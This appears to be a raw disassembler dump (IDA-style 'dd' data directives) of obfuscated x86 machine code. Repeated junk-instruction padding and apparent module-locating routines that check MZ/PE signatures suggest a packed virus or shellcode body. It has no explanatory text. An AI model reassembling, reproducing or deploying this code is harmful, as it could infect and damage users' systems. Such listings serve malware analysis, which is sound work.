		dd 3061B13h, 3F6850Fh, 0B5010000h, 61B24F9h, 0AD99BD83h
		dd 0F00061Eh, 3E384h, 99B5FF00h, 6A061EADh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0CAE2C351h
		dd 0AC7ACBBEh, 11195FFh, 6A061Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0CC19C3C3h, 2F6F3602h
		dd 8D0FF769h, 0Eh, 5E8h, 4E7B0300h, 8B66807Dh, 0B58B5BD8h
		dd 61EAD8Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	8C35747h, 0C014DFh, 0D98B97C2h,	7E9h, 7BB65900h
		dd 6C4B8B3h, 106C7h, 62BB0001h,	9668CA10h, 0F98B6650h
		dd 8996505Bh, 1B0839BDh, 99B5FF06h, 6A061EADh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0E382C356h, 129D9D8Bh, 0BD0B061Bh
		dd 61B06A1h, 95FFD98Bh,	61B1BC9h, 8E8h,	9B3FA00h, 0F6F8E436h
		dd 5BD98BF3h, 0AD8DB58Bh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0FDE2CAC3h, 0AE8h, 0DF472600h
		dd 0D107B5Dh, 0E9DD0F97h, 14h, 7E56FFA6h, 0ACA2F840h, 46B76AEEh
		dd 7BB25E8Ch, 0CE7D447Fh, 9D29605Bh, 61B0EB9h, 61FEBF0Fh
		dd 858B3BB7h, 61B0D25h,	4800Fh,	0BB660000h, 8689F452h
		dd 0C4h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	8EC35242h, 9BDC4205h, 9D8B2242h, 61B1F35h, 2429958Bh
		dd 8D89061Bh, 61B2B7Dh,	8904C283h, 1B01998Dh, 20508906h
		dd 99D8B51h, 5F061B0Eh,	0C0C7858Dh, 6A061Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A64D56C3h
		dd 89F9BC5Dh, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 3AFBF184h, 0A5B509E5h
		dd 0BF061B0Dh, 54749571h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0B2E741C3h, 9D09D2EAh
		dd 61B089Dh, 0AD99B5FFh, 9589061Eh, 61B065Dh, 142D95FFh
		dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0BBBB11C3h, 7D5C0F3Fh, 12D98509h,	8A50061Bh
		dd 243489FCh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 19h,	0FDC35646h, 0E1738149h,	0BD03F812h, 61B24F9h, 0AD99B5FFh
		dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 8847C9C3h, 1DBB7B57h, 0F58D8E1h, 8D89DFBFh
		dd 61B1BD5h, 1B9195FFh,	0B589061Bh, 61B077Dh, 0C81BD83h
		dd 0F00061Bh, 3F84h, 0D8BF0F00h, 0D98B6696h, 84BF6650h
		dd 6A96F0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 7C6862C3h, 0C4DA0602h, 0D88B4118h, 6810Fh
		dd 8D890000h, 61B23B1h,	0AD99B5FFh, 9D8B061Eh, 61B2FD5h
		dd 0BD595FFh, 0BF0F061Bh, 99B5FFFAh, 6A061EADh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 95F8C355h, 5FFC12B3h, 6060572Ah, 6D5BF5BAh, 0D1BD8B66h
		dd 61061B21h, 1C95B589h, 0FF61061Bh, 1B1A0995h,	0BDBD2B06h
		dd 83061B0Bh, 1B07A5BDh, 840F0206h, 41h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 55C35242h, 99C8D9Ch
		dd 1B21059Dh, 1EBB6606h, 31858B1Eh, 0F061B30h, 880h, 28F0F00h
		dd 0B7000000h, 0C6A0h, 0D585C7F5h, 61B2Bh, 0BF000000h
		dd 608B9010h, 0FFF279E9h, 0C38166FFh, 0C18B218Eh, 158589h
		dd 858D061Bh, 61B32EDh,	18B99589h, 6050061Bh, 0A52DA7BBh
		dd 4896138h, 4EC2BF24h,	6A17EFh, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 18h, 0E6C35141h,	0FB7C8FB9h, 11199D0Bh
		dd 6A061Bh, 75BD89F9h, 8D061B2Ch, 20183585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 677739C1h, 0BB73732Bh, 0EDBD0952h, 5B061B08h, 6A05C083h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0F7A1C357h, 8501222Ch, 61B21DDh, 8341BF90h
		dd 905054F4h, 6AF98B66h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 84DA462Dh, 0BACCDF81h
		dd 0B58960C2h, 61B16D5h, 13E9h,	0A070BB00h, 4312F810h
		dd 0B688205Ah, 53093624h, 0FCA02CBDh, 0E960006Ah, 11h
		dd 0FE81BAB1h, 0B2E94E2Fh, 1525EACh, 77271214h,	0B59D8995h
		dd 61061B22h, 1A0195FFh, 0B70F061Bh, 0B78D8DFBh, 8B061E92h
		dd 1B2B719Dh, 6AD1FF06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C643C352h,	0E9610537h
		dd 0Eh,	0AB77DD40h, 6F3D8671h, 0DC7EBA2Ch, 0CF8101F7h
		dd 3FDEC0F1h, 1CD5BD83h, 0F01061Bh, 8985h, 0FD858900h
		dd 6A061B23h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0C59D8B55h, 50061B2Ah, 14E860h, 420E0000h
		dd 6C9563D7h, 8CF8EA20h, 819151A8h, 0F69BB0EBh,	0BA6611CCh
		dd 8B5BCDA5h, 48961FBh,	0DABF0F24h, 142D95FFh, 6A061Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E2DB14C3h, 716CF4E4h, 0BD8BB901h, 61B1111h,	11FD9D8Bh
		dd 0B0E9061Bh, 0E800000Dh, 0
		dd 3FED815Dh, 0BF062018h, 74C17E22h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 89C35040h, 9228A9EFh, 0EC3681C2h
		dd 0F78122B7h, 1EDB1A68h, 853D858Dh, 6A061Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0E89003C3h
		dd 0Bh,	163B9318h, 0ACA4D37Bh, 0BF84E9E8h, 5477B40Eh, 8B90505Fh
		dd 1B2D4D9Dh, 35FF6406h, 0
		dd 0DE9h, 7A4B5500h, 5EB4972Ch,	25F2E02Ah, 8964A08Ah, 25h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0A5B69B70h, 6800FB8h, 89000000h,	1B1B7595h
		dd 0CB816606h, 85FFE0A9h, 61B2B0Dh, 81FF6AF9h, 6C6358DBh
		dd 0DDB5FF0Ah, 6A061B18h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 5144C355h, 0C8F83675h
		dd 72568B19h, 95FFD88Bh, 61B0805h, 112E9h, 0B0D98B00h
		dd 0DEBF0F00h, 8B6670E6h, 6671E4DFh, 302DC381h,	830F613Ch
		dd 0F7h, 8E8h, 71941400h, 259E70B9h, 81BB66AEh,	0B60F5F15h
		dd 6BAC8h, 0BF660000h, 0C18BE321h, 33219D8Bh, 0E8C1061Bh
		dd 0BD8B5704h, 61B0C41h, 4543BF5Bh, 0F7667917h,	0ED8589E2h
		dd 2B061B1Ch, 0D0EF80C8h, 11E9D18Bh, 39000000h,	0C4775074h
		dd 0C0BDDFE7h, 55625BD3h, 59A3D4CDh, 96E9h, 0CE800h, 0EF870000h
		dd 0D67280E7h, 717A6E1Ah, 8B0F9DA7h, 6,	1C98D89h, 8B5F061Bh
		dd 47554C85h, 97BBBB49h, 0C0834405h, 6127BF07h,	0F88B282Dh
		dd 8900C083h, 1B0F1595h, 0FD03B06h, 1F83h, 9E800h, 30810000h
		dd 8341E02Fh, 66AA746Bh, 4E4ED781h, 39E95Fh, 9D8B0000h
		dd 61B20E5h, 0FFFF8D8Bh, 0EF81FFFFh, 593D33BAh,	0F01E183h
		dd 1E84h, 0A583FC00h, 0FFFFFFFFh, 0C58509FEh, 89061B16h
		dd 47554C95h, 0F7816649h, 0E91589h, 8D000000h, 1F9B86B5h
		dd 1E870F06h, 0E8000000h, 0Bh, 3BD3A029h, 31C26256h, 0E9BED7B7h
		dd 8, 0C1AFA075h, 0D18DBB81h, 0E9006A5Fh, 9, 29002D47h
		dd 892021FAh, 595FF67h,	6A061B22h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 9AD9C355h
		dd 0BC830416h, 669C61F7h, 8166DA8Bh, 0B9F58CCFh, 0F81h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 96C35242h
		dd 0E6F70BF7h, 0AB3A598Eh, 0E781666Ah, 0E1836CCBh, 4DBD8BFCh
		dd 0FC061B19h, 0B8h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 605027B5h, 0D22BFA8Ah
		dd 2699D03h, 33AD061Bh,	3E8D1C2h, 4E983D0h, 6AF475h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0AD6905C3h, 0E27443D4h, 11E977h, 2CA10000h, 100337A4h
		dd 6FD1BC45h, 30E07850h, 196A634h, 1B0699B5h, 0FABF0F06h
		dd 880Dh, 29958B00h, 6A061B24h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 89B1C352h, 1B23B1BDh
		dd 658D8B06h, 6A061B07h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0EB53C356h,	0DA8BBAAAh
		dd 97DBC381h, 8B502B38h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 6ADBB70Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 8DD8C356h, 8BAE4900h
		dd 1B07F19Dh, 69BD8306h, 61B17h, 5D840Fh, 8B660000h, 0B8F9F9h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0CC05C356h, 8B183FCEh,	8D90B3FBh
		dd 1B4CD38Dh, 0EF816606h, 0E1FFE751h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 6DC35343h, 0BF54C3B5h, 8358DF9Ch
		dd 1B13D1BDh, 840F0006h, 41Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0B7C35040h,	14708F7Dh, 8010D8F3h
		dd 83DE8BC5h, 1B13D1BDh, 840F0106h, 404h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0B6C35646h, 513C5E6Eh
		dd 0BD8B52BDh, 61B1671h, 13D1BD83h, 0F03061Bh, 39986h
		dd 8E800h, 6DB60000h, 12C53CD2h, 12E9A5CEh, 7E000000h
		dd 0A3BC6FCDh, 2AAAFB01h, 0C0341AF4h, 351328E0h, 6A605F47h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8BE3C356h, 1B00759Dh, 0D88B6606h,	2E698D89h
		dd 8C66061Bh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0BB66548Eh, 0BB665402h, 0E180CCD0h
		dd 5DBD2304h, 0A061B24h, 35840FC9h, 66000001h, 8BC452BFh
		dd 1B014585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0D614A51Ah, 6DE194C4h, 2A318533h
		dd 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 9C3355C3h, 0BD0B60F3h, 61B0A79h, 73BF6650h
		dd 24048985h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	96C35040h, 0F88BC966h, 68D0Fh, 9D0B0000h, 61B2D81h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 32E673C3h, 918FCA5h, 1C68083Dh, 0BBD46D64h
		dd 7C02B377h, 0E3240481h, 6A2BB19Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 63C355h
		dd 0FFFFC44Fh, 1B323595h, 0D9BD8B06h, 89061B32h, 1EAD9985h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 9A5C2534h, 60BDBF3Bh, 8E0F5A7Ch,	6, 25E9BD89h
		dd 0E9F5061Bh, 13Ah, 0FDBD0B57h, 5B061B03h, 0AD91858Bh
		dd 0DB81061Eh, 5C9AFA56h, 1800C7h, 3AB30000h, 0AD95B58Bh
		dd 8D0F061Eh, 0Ch, 6E8h, 22499C00h, 5FE10984h, 1229858Bh
		dd 0B589061Bh, 61B1CADh, 0BE9h,	3DD48700h, 64FBCB25h, 33F2AE7Dh
		dd 10E90689h, 0B000000h, 67489FBBh, 48D63052h, 8EB1E864h
		dd 894DD3F2h, 1B1BE5BDh, 45858B06h, 66061B01h, 4689FA8Bh
		dd 61605004h, 33243489h, 1B0BD99Dh, 91B5FF06h, 60061EADh
		dd 68B0Fh, 8D090000h, 61B31E5h,	5DBD8960h, 8B061B24h, 1B32B9BDh
		dd 68616106h, 7EF425E9h, 16243481h, 6A7EEB26h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0E2CCC353h, 8DF5699Fh, 1EAD9985h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0F53628ADh
		dd 421179BFh, 0BB60902Bh, 4AC82CDAh, 6800Fh, 820F0000h
		dd 0
		dd 52505061h, 5B515250h, 0D88B310Fh, 310F585Ah,	7E9h, 77E76C00h
		dd 0C266D1D5h, 0FF90585Ah, 1B323595h, 4E72BB06h, 6A617B1Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 64B1C355h, 2870FC3h, 8B000000h, 0FDBD03FBh
		dd 0C7061B21h, 1B13D185h, 306h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 68E0FA7h, 89000000h
		dd 1B2BD18Dh, 99BD8306h, 61EADh, 3C840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 6131C4C3h, 75EE1116h, 81E1219Dh, 97EF09D3h, 19BD2932h
		dd 0E9061B1Fh, 21h, 2D2D8D31h, 3050061Bh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0D9D8BC0h, 6A061B13h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0F898C356h, 5E9h,	0C8BE4900h, 0BD83416Fh
		dd 61B13D1h, 87850F03h,	8B000004h, 1B11DD9Dh, 99BD8306h
		dd 61EADh, 474840Fh, 0BD890000h, 61B0899h, 0AD99B5FFh
		dd 0BD29061Eh, 61B0BDDh, 11195FFh, 5E8061Bh, 28000000h
		dd 26A84B93h, 991BFDBFh, 0B58B5F50h, 61EAD8Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 63C35545h, 0B6D54A79h
		dd 816E562Fh, 676EABD7h, 106C771h, 6A000100h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0C16BC356h, 5E3289A5h, 0F9F3E258h, 5E850h, 0B4590000h
		dd 0E957C9A8h, 0Ah, 385BF1E4h, 8E0AA0EAh, 895F0EF5h, 6A2434h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 88130DC3h, 8EDDC133h, 95890C86h, 61B0081h, 0AD99B5FFh
		dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0DD6253C3h, 56538C51h, 1A1DBD89h,	0AE8061Bh
		dd 26000000h, 25E91BF7h, 890E7BFh, 10E9F7h, 9B880000h
		dd 0D992E96Eh, 99EBB860h, 6FFA77D6h, 0FF5FE3E3h, 1B1BC995h
		dd 0E5952906h, 80061B03h, 0B58B94D3h, 61EAD8Dh,	0FE8h
		dd 0A50E5800h, 74D7100h, 0E75AE8E7h, 0DF445105h, 5BDBBF0Fh
		dd 0D25858Bh, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0E19AC2C3h, 560F4AFBh, 0E8361B0Eh
		dd 9, 0A3203B75h, 844BDFC5h, 9E850h, 0E25F0000h, 0BDCBE780h
		dd 0E9FD3894h, 0Ch, 3EC5E0D3h, 0CE40045Dh, 83E9116Bh, 8B665B5Fh
		dd 0C48689D9h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 2C76C352h, 72555913h
		dd 5F605659h, 2429958Bh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0A19171C3h, 5FF5395Fh
		dd 820F082Dh, 4, 7A58BF66h, 6A04C283h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 17C3C350h
		dd 5089F924h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B2A1719h, 1B18E1BDh, 0C7858D06h
		dd 6A061EC0h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0EDACC352h, 8689FC51h,	0B8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CAC35545h, 6FC5F36Fh
		dd 8B006AC4h, 1B1D099Dh, 99B5FF06h, 8B061EADh, 1B0A85BDh
		dd 2D95FF06h, 6A061B14h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 473FC352h, 0A9C5DD6Eh
		dd 0C27BF706h, 11E8h, 3C44E000h, 0A0789077h, 50153688h
		dd 4C546EEh, 0F38151E8h, 65CC1468h, 50F88B5Bh, 0B95BBB66h
		dd 60243489h, 326D8589h, 0B58B061Bh, 61B0699h, 99B5FF61h
		dd 89061EADh, 1B1991BDh, 9195FF06h, 0E8061B1Bh,	0Dh, 0B6D77F84h
		dd 0E7B40E39h, 13A5F3CFh, 0BDB529E0h, 5F061B06h, 0BFF9BF66h
		dd 0C81BD83h, 0F00061Bh, 1E84h,	0DBD8900h, 89061B07h, 1B13F1BDh
		dd 8B669606h, 0E99650DAh, 7, 170FF170h,	0FF8723D0h, 1EAD99B5h
		dd 0D595FF06h, 6A061B0Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0DE17C352h,	6CDD3F79h
		dd 0B70FB1A8h, 99B5FFDEh, 6A061EADh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 6CA8C351h
		dd 0C11C42C5h, 0B589B8F0h, 61B3345h, 1A0995FFh,	6A061Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 81664DC3h, 8BB5A2CBh, 1B16999Dh, 0A5BD8306h,	2061B07h
		dd 60840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 37EAD9C3h, 0E96427F9h, 0BD8B5378h
		dd 61B10BDh, 3031858Bh,	6A061Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 7D1D30C3h, 949F8EDh
		dd 1B2A3D9Dh, 0FA8B6606h, 660000C6h, 85C7D88Bh,	61B2BD5h
		dd 0
		dd 2D3D8529h, 66E9061Bh, 6AFFFFF3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8B42C355h
		dd 56006AC1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 5633A7F7h, 0E8CB338Ah, 0Bh, 0B07A7756h
		dd 0F9C0F70h, 0FCAF5C08h, 3595895Bh, 81061B19h,	7476C3h
		dd 0D18D8B00h, 68061B10h, 1CF5h, 4144B966h, 858B565Fh
		dd 61B08EDh, 8033FF58h,	8B5EE1C9h, 1B2B2585h, 0D7F68106h
		dd 0F95ECC79h, 0D08EEE81h, 8B66497Ch, 38F681D6h, 894EA41Bh
		dd 1B18F58Dh, 0F338906h, 1084h,	9E96000h, 7000000h, 6504A0A4h
		dd 0F09A4BB5h, 4EB8361h, 0EF81F8B4h, 1,	0E850Fh, 0BA660000h
		dd 1BE9E1FBh, 0B3000000h, 986F29DFh, 6A1958Bh, 96E9061Bh
		dd 0CFFFFFFh, 0FA4C1BECh, 794EBF76h, 0BAA74Fh, 81F00D30h
		dd 0EAh, 14C283F0h, 1CE99589h, 0EA83061Bh, 3B858D14h, 50062027h
		dd 35FF64h, 64000000h, 2589h, 0E80000h,	58000000h, 25C22Bh
		dd 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h, 0D0033C50h
		dd 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h, 0C88BFFFFh
		dd 1F158589h, 4003061Bh, 50B70F3Ch, 0ED958906h,	8B061B18h
		dd 95895050h, 61B3271h,	0F805h,	0C508B00h, 9589D103h, 61B1779h
		dd 89085003h, 1B320D95h, 58F6406h, 0
		dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
		dd 59000010h, 83C3C033h, 1B1335BDh, 840F0006h, 24h, 239D85C6h
		dd 6847061Bh, 0D49AA7D2h, 2F11B5FFh, 858D061Bh,	61E7046h
		dd 6AD0FFh, 8589D0FFh, 61B0829h, 8D8DD38Bh, 6202848h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A9C35646h, 68F598E6h
		dd 0F1A17C9h, 8D89F3BFh, 61B2429h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 15C35343h, 5DA3B8E8h, 9D899F97h
		dd 61B2BF1h, 76585C7h, 5958061Bh, 0B5290000h, 61B0645h
		dd 13D185C7h, 61Bh, 0BD2B0000h,	61B2A19h, 1D45B5FFh, 6A061Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0E0DC61C3h, 0DE974h,	0FF9A0000h, 0D134913Ah,	81E7A637h
		dd 8BAD8661h, 1B0B11BDh, 8595FF06h, 80061B2Fh, 6AD1D7h
		dd 220595FFh, 0C08B061Bh, 0DCE578EBh, 17F36104h, 4A8DAA94h
		dd 3F67CBE1h, 52E578FBh, 620EBF36h, 4EF43ECAh, 0F338EA0h
		dd 4BAAE299h, 8DA9FAE1h, 985FFAC7h, 0BADA3444h,	0F08DC89Ch
		dd 7AFDE634h, 656C48EEh, 0B3E298ADh, 7A261E71h,	5FA90CF9h
		dd 2CE50A31h, 0F3CA69E8h, 0E4345E36h, 602ADE16h, 107AD723h
		dd 8800C672h, 6F4BA896h, 3701C72Ah, 0F3048656h,	461D7B48h
		dd 89ECBACAh, 0E0E37E4Bh, 8D8DC0F5h, 6202996h, 0BF0FFC60h
		dd 8D8961D7h, 61B2429h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0F1C35343h, 849313DEh, 6585C7D8h, 14061B07h
		dd 8900005Eh, 1B086585h, 0D185C706h, 61B13h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0E98FC352h, 12h, 0BB080465h, 49AD3C7Ah, 3527C051h
		dd 0FA94E743h, 0B5FFC8EEh, 61B0DCDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 39C35646h, 0B9E47D0Ah, 7A8B22Dh
		dd 2F8595FFh, 8B0F061Bh, 8, 0EDB58B53h,	5B061B19h, 6880Fh
		dd 0B52B0000h, 61B0BADh, 95FF006Ah, 61B2205h, 6BEBC08Bh
		dd 1D64B21h, 9EC951B0h,	12497DCh, 3454DAF6h, 35E52DAAh
		dd 0AFE915F9h, 0E59C6D30h, 2EDC874Eh, 0E8BC068Ch, 0EB093ED9h
		dd 75EAA7F8h, 79DCA871h, 0B92B255Dh, 42C90DDAh,	2C914278h
		dd 0EA0A34F4h, 0B1084A1Ah, 0E747BEAEh, 5C5462A8h, 0F51E9EBBh
		dd 9A2E821Eh, 44357E45h, 0A24008F3h, 7DB86224h,	0F86F09DAh
		dd 3AC106DBh, 0E808C243h, 7, 0DEC4500Bh, 0E9158FC8h, 7
		dd 0A238634Ch, 59DA876Ch, 1B459D8Bh, 0C181061Bh, 61E2h
		dd 8E960h, 0E3B00000h, 0B8172772h, 9D8B1FD8h, 61B09B5h
		dd 2B4ABA61h, 0EA816D1Dh, 6D1D1300h, 2F25BD8Bh,	31FF061Bh
		dd 235EFE8Bh, 1B2B91BDh, 0EBF68106h, 8A63904Dh,	0F6C681E7h
		dd 0F9674DECh, 0C79CF681h, 85896D99h, 61B2BF1h,	89605056h
		dd 1B084D8Dh, 61616006h, 89018F5Bh, 1B08ED95h, 4E98306h
		dd 0E159D89h, 0EA81061Bh, 1, 15850Fh, 9D090000h, 61B2271h
		dd 1DE9h, 9A4BB500h, 72EBFBF0h,	0BB8AA81Fh, 25509357h
		dd 0FFFF91E9h, 33C10FFh, 927DC0C7h, 8D8D5E05h, 6202B4Ch
		dd 0FE960h, 0DC7E0000h,	7EC701F7h, 0F0522747h, 382C95A3h
		dd 61DA8AA5h, 6D1C281h,	8D89087Ch, 61B2429h, 1331858Bh
		dd 85C7061Bh, 61B0765h,	5CA0h, 85C7D08Bh, 61B13D1h, 0
		dd 0B5FFF18Bh, 61B07B5h, 6890Fh, 85890000h, 61B247Dh, 2F8595FFh
		dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 6A96C3h, 220595FFh, 0C08B061Bh
		db 0EBh, 3Dh
word_580046	dw 5152h		; DATA XREF: ___:off_427A80o
					; ___:00427A88o ...
		dd 57E85AFBh, 42A8C7DBh, 24090161h, 0E5075C3h, 0E646412Dh
		dd 10A437AFh, 0A52D6A7Ch, 6AFAD8ADh, 978AD21Bh,	0EAA1C2F2h
		dd 0CB20936Fh, 4FE862B4h, 255B1C1Ch, 0B55F899h,	0E811679Dh
		dd 5, 0E26D06EFh, 2ABF6636h, 0BD895A28h, 61B0A11h, 640BC281h
		dd 0BD030000h, 61B3071h, 18DABBh, 0CFB70F00h, 7E9028Bh
		dd 64000000h, 0A318C6BAh, 0F081437Dh, 1438C450h, 3B06E781h
		dd 0F0816D45h, 43A47B52h, 7719589h, 0C081061Bh,	799ADC33h
		dd 14E9h, 0DDB78700h, 4618F3D4h, 480CC2DFh, 65B9ECCAh
		dd 744A3E28h, 28F50ABh,	0EF816660h, 9D01960Bh, 61B0739h
		dd 2EA8361h, 4A4ACE8Bh,	0F4BF28Bh, 0B85h, 19E900h, 0BA7F0000h
		dd 88535E4Fh, 0C3E98166h, 0FF86E90Dh, 0B830FFFFh, 2739115Bh
		dd 8D4C1124h, 202CD98Dh, 159D3306h, 89061B0Ch, 1B24298Dh
		dd 0C19D8B06h, 0C7061B00h, 1B076585h, 71C006h, 31BD8900h
		dd 0C7061B11h, 1B13D185h, 6, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0A2E62321h
		dd 0EEDA8166h, 49B5FF04h, 8B061B25h, 1B190D85h,	0A7E1BA06h
		dd 95FF6CF4h, 61B2F85h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0A1C35141h, 3319A06Fh, 0CB00FF00h, 75BD2954h
		dd 6A061B16h, 595FF00h,	8B061B22h, 4D1AEBC0h, 29181CEBh
		dd 48AEF3A2h, 0DA354CACh, 0A1583351h, 71B43060h, 795305D9h
		dd 712ADEDAh, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h
		dd 2633A9A9h, 265AF198h, 5AEEF5Eh, 4E603383h, 0A5E4FFB4h
		dd 922F867h, 0A3BEA083h, 202D23DEh, 0A3BA7967h,	2028E659h
		dd 3506D71Bh, 29333383h, 2633831Dh, 2EB6C098h, 763586B5h
		dd 0AC9D615h, 0D963AFB8h, 3D01150Dh, 2664839Eh,	23593598h
		dd 0B391F15h, 0AB634BB8h, 61F5C1Dh, 0B3CC039Eh,	20288585h
